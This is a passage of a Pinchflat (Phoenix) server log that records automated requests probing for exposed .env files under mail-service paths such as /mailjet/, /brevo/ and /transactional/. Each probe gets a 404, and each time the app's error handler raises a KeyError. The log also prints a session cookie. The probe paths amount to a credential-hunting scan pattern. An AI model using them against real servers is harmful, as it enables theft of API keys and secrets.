"gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mandrill/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk61TVJO8mquQAASoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mandrill/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 169, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mandrill/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mandrill/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 169, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:20.553 [info] GET /mailjet/.env 02:10:20.554 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=205.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.555 [debug] QUERY OK source="settings" db=0.2ms idle=138.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.555 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.556 [error] #PID<0.3474.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 170) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /mailjet/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailjet/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailjet/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 170, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3474.0>, params: %{}, path_info: ["mailjet", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/mailjet/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk61kkXt2451cAASpB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailjet/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 170, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mailjet/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mailjet/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 170, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:20.619 [info] GET /brevo/.env 02:10:20.619 [debug] QUERY OK source="settings" db=0.3ms idle=202.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.620 [debug] QUERY OK source="settings" db=0.2ms idle=137.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.620 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.620 [error] #PID<0.3475.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 171) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /brevo/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /brevo/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/brevo/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 171, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3475.0>, params: %{}, path_info: ["brevo", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/brevo/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk610LkMDljaIAASqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/brevo/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 171, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /brevo/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/brevo/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 171, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:20.677 [info] GET /transactional/.env 02:10:20.678 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=195.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.679 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=123.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.679 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.679 [error] #PID<0.3476.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 172) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /transactional/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /transactional/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/transactional/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 172, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3476.0>, params: %{}, path_info: ["transactional", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/transactional/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk62CAgrtqzlsAASrB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/transactional/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 172, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /transactional/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: 